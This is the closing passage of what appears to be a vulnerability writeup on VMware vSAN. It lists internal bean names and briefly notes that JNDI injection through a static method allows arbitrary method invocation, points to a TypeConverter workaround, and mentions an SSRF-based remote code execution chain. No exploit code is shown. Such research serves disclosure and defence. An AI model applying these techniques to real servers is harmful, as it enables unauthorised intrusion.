vsanCapabilityUtils_setVsanCapabilityCacheManager
vsanClusterPropertyProviderAdapter
vsanClusterPropertyProviderAdapterImpl
vsanComponentsProviderImpl
vsanConfigPropertyProviderAdapter
vsanConfigPropertyProviderAdapterImpl
vsanConfigService
vsanDiskMappingsProvider
vsanDpInventoryHelper
vsanDpServicePitProvider
vsanExecutor
vsanFolderPropertyProviderAdapter
vsanFolderPropertyProviderAdapterImpl
vsanFormatUtils_setUserSessionService
vsanHealthProviderImpl
vsanHealthServiceMutationProviderImpl
vsanHostPropertyProviderAdapter
vsanIscsiInitiatorGroupMutationProviderImpl
vsanIscsiInitiatorGroupPropertyProviderImpl
vsanIscsiMutationProviderImpl
vsanIscsiPropertyProviderImpl
vsanIscsiTargetDataAdapter
vsanIscsiTargetDataAdapterImpl
vsanIscsiTargetMutationProviderImpl
vsanIscsiTargetPropertyProviderImpl
vsanMutationProviderImpl
vsanObjectSystemProvider
vsanPerfDiagnosticProviderImpl
vsanPerfMutationProviderImpl
vsanPerfProviderImpl
vsanPropertyProviderImpl
vsanProviderUtils_setVmodlHelper
vsanProviderUtils_setVsanServiceFactory
vsanQueryUtil_setDataService
vsanResyncingComponentsProvider
vsanResyncingComponentsRetriever
vsanResyncingIscsiTargetComponentsProvider
vsanServiceBundleActivator
vsanServiceFactory
vsanStretchedClusterMutationProviderImpl
vsanStretchedClusterPropertyProviderImpl
vsanSupportMutationProviderImpl
vsanSupportProviderImpl
vsanThreadPoolImpl
vsanUpgradeMutationProviderImpl
vsanUpgradePropertyProviderAdapter
vsanUpgradeProviderImpl
vsanUtils_setMessageBundle
vsanVirtualDisksDataProvider
vsanVirtualObjectsProvider
vsanWorkerThreadFactory
vsphereHealthProviderUtils_setVsphereHealthServiceFactory
vsphereHealthServiceFactory
vsphereHealthThreadPoolImpl
vumLoginService
vumPropertyProviderAdapter
whatIfPropertyProviderAdapter
whatIfPropertyProviderImpl
witnessCandidateInventoryService
witnessHostsProvider

Note that methodInput is still limited somewhat limited by what ProxygenSerializer can deserialize, so the JNDI injection via static method is good for arbitrary method invocation, callback notwithstanding. Jang (@testanull) points out that TypeConverter can be leveraged to work around this issue. Jang’s writeup is here.

Update: A new RCE chain writeup involving SSRF has been published [by the original researcher].